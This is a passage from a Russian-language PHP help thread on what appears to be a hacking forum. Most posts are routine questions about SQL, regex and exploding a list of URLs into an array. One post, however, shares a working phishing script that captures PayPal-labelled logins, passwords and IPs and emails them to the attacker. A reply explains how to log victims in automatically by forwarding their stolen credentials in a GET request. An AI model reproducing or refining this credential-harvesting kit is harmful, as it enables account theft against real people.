[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. restart_05

    restart_05 Member

    Joined:
    5 May 2009
    Messages:
    164
    Likes Received:
    6
    Reputations:
    0
    Имеется база данных к примеру следующей структуры:
    id | name | st
    1 | a | 0
    2 | b | 0
    3 | c | 0
    4 | a | 0
    5 | c | 0
    6 | a | 0

    Как вывести из строки name, 3 самых повторяющих букв ??
     
  2. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    SELECT name FROM thistable ORDER BY COUNT(id) GROUP BY name LIMIT 0,3
    как-то так
     
  3. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    restart_05, если не ошибаюсь, то никак, тебе нужно все значения вывести из базы, а потом уже подсчитывать сколько, что встречается у тебя средствами php допустим.
     
  4. restart_05

    restart_05 Member

    Joined:
    5 May 2009
    Messages:
    164
    Likes Received:
    6
    Reputations:
    0
    Я об этом и спрашиваю, может кто-то сталкивался с данной проблемой и решил ее
     
  5. scorpic393

    scorpic393 Banned

    Joined:
    5 Feb 2010
    Messages:
    59
    Likes Received:
    4
    Reputations:
    3
    есть textararea, туда пихаеться список урлов. надо создать массив, где каждый элемент - один урл из списка, помогите плиз как это реализовать
     
  6. L.A.V

    L.A.V Member

    Joined:
    1 Sep 2009
    Messages:
    10
    Likes Received:
    10
    Reputations:
    0
    PHP:
    $url explode("\n"$url);
     
  7. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    PHP:
    foreach ($url as $key => $value)
    $result explode ("\n"trim($value));
     
    #14507 h00lyshit!, 22 Mar 2010
    Last edited: 22 Mar 2010
  8. PabloPicasso

    PabloPicasso Banned

    Joined:
    2 Jan 2010
    Messages:
    88
    Likes Received:
    32
    Reputations:
    16
    нужна помощь, я в регулярках не силен, а нужно написать preg_math который возвращал содержимое между (class="news_1">) и (</table>)
    написал так
    PHP:
    <?php
    $ch 
    curl_init(); 
    curl_setopt($chCURLOPT_URL"http://www.rap.ru/");
    $result curl_exec($ch); 
    curl_close($ch);
    preg_match("|class=\"news_1\">(.+)</table>|iU",$result,$main);
    echo 
    $main[0];
    ?>
    но вместо нескольких строк вылазит вся страница, даже если я комментирую //echo $main[0]; :D
    плиз хелп!!1
     
    #14508 PabloPicasso, 22 Mar 2010
    Last edited: 22 Mar 2010
  9. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    PHP:
    preg_match('/class="news_1">(.*)<\/table>/iU',$result,$main);
    echo 
    $main[1];
     
  10. PabloPicasso

    PabloPicasso Banned

    Joined:
    2 Jan 2010
    Messages:
    88
    Likes Received:
    32
    Reputations:
    16
    выдало всю страницу, того что нужно нет
    http://aka74.ru/engine/news.php
     
  11. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    PHP:

    $content 
    file_get_contents"http://www.rap.ru" );

                     
    preg_match'#<table width="100%" cellpadding="0" cellspacing="0" class="news_1">(.+)</tr>[\r\n]</table>#Uis' $content$array );

    $content $array[1];


    $content preg_replace'#src="(.+)" alt#''src="http://www.rap.ru\\1" alt'$content);

    echo 
    $content;

    Работает.
    Картинки тоже отображаются
     
    1 person likes this.
  12. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    PHP:
    curl_setopt ($chCURLOPT_RETURNTRANSFER1);
    preg_match ("|<table.+?class=\"news_1\">(.+)</table>|iUs"$result$main);
    echo 
    $main[1];
     
    1 person likes this.
  13. PabloPicasso

    PabloPicasso Banned

    Joined:
    2 Jan 2010
    Messages:
    88
    Likes Received:
    32
    Reputations:
    16
    Deathdreams, krypt3r спасиб, оба варианта гуд работают
     
  14. Qb1024

    Qb1024 New Member

    Joined:
    15 Jul 2009
    Messages:
    323
    Likes Received:
    4
    Reputations:
    0
    Из-за чего это может быть?
    Делаю запрос к базе:
    PHP:
    $nsql='SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2];
    $nresult=mysql_query($nsql);
    $nline=mysql_fetch_row($nresult);
    а в $nline[1] лежит число 1, хотя в базе там лежит 3. И при изменении значения в базе число 1 так и остаётся.
     
  15. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    PHP]


    $sql = mysql_query('SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]);

    while($ans_row = @mysql_fetch_array($sql)){

    // тут действия с данными

    }
    [/PHP]
     
  16. Life7

    Life7 Banned

    Joined:
    14 Jun 2009
    Messages:
    150
    Likes Received:
    54
    Reputations:
    0
    Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
    Скриптик бы повесил на кротаб и было все круто)
    заранее спасибо.
     
  17. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Конечно можно.
     
  18. Paul_Eckman

    Paul_Eckman Member

    Joined:
    10 Nov 2009
    Messages:
    53
    Likes Received:
    64
    Reputations:
    10
    Есть скрипт для фейка:

    <?php
    $mail="[email protected]"; //e-mail куда будут отправлятся отчеты
    if ((isset($_POST["user_email"])) and (isset($_POST["user_password"]))) { //проверка существуют ли переменные
    $s="paypal.com: ".$_POST["user_email"]; //создание темы письма
    $m="Find passwordsomesite.com.
    Lodin: ".$_POST["user_email"]."
    Password: ".$_POST["user_password"]."
    IP: ".$_SERVER["REMOTE_ADDR"]."

    ===============

    Login and password was send from ".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."
    mail($mail,$s,$m) or exit("<script language=JavaScript>window.location='?'</script>"); // отсылка письма
    exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
    ?>

    Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
     
  19. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Дописывать нужно, когда идёт переадресация на реальный сайт, то есто тут:

    PHP:
    exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
    Чтобы произошла автоматическая авторизация, посмотри, возможно ли на исходном сайте авторизоваться гет запросом, то есть по ссылке...
    Например для сайта вконтакте ссылка такая :

    'http://vkontakte.ru/login.php?email='.$_POST["user_email"].'&pass='.$_POST["user_password"] даёт авторизацию на сайте... Вот на неё и надо делать переадресацию.._)
     
  20. Paul_Eckman

    Paul_Eckman Member

    Joined:
    10 Nov 2009
    Messages:
    53
    Likes Received:
    64
    Reputations:
    10
    Нет, к сожалению, авторизация идет через POST, через GET авторизоваться не получается ((
    Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?
     
Thread Status:
Not open for further replies.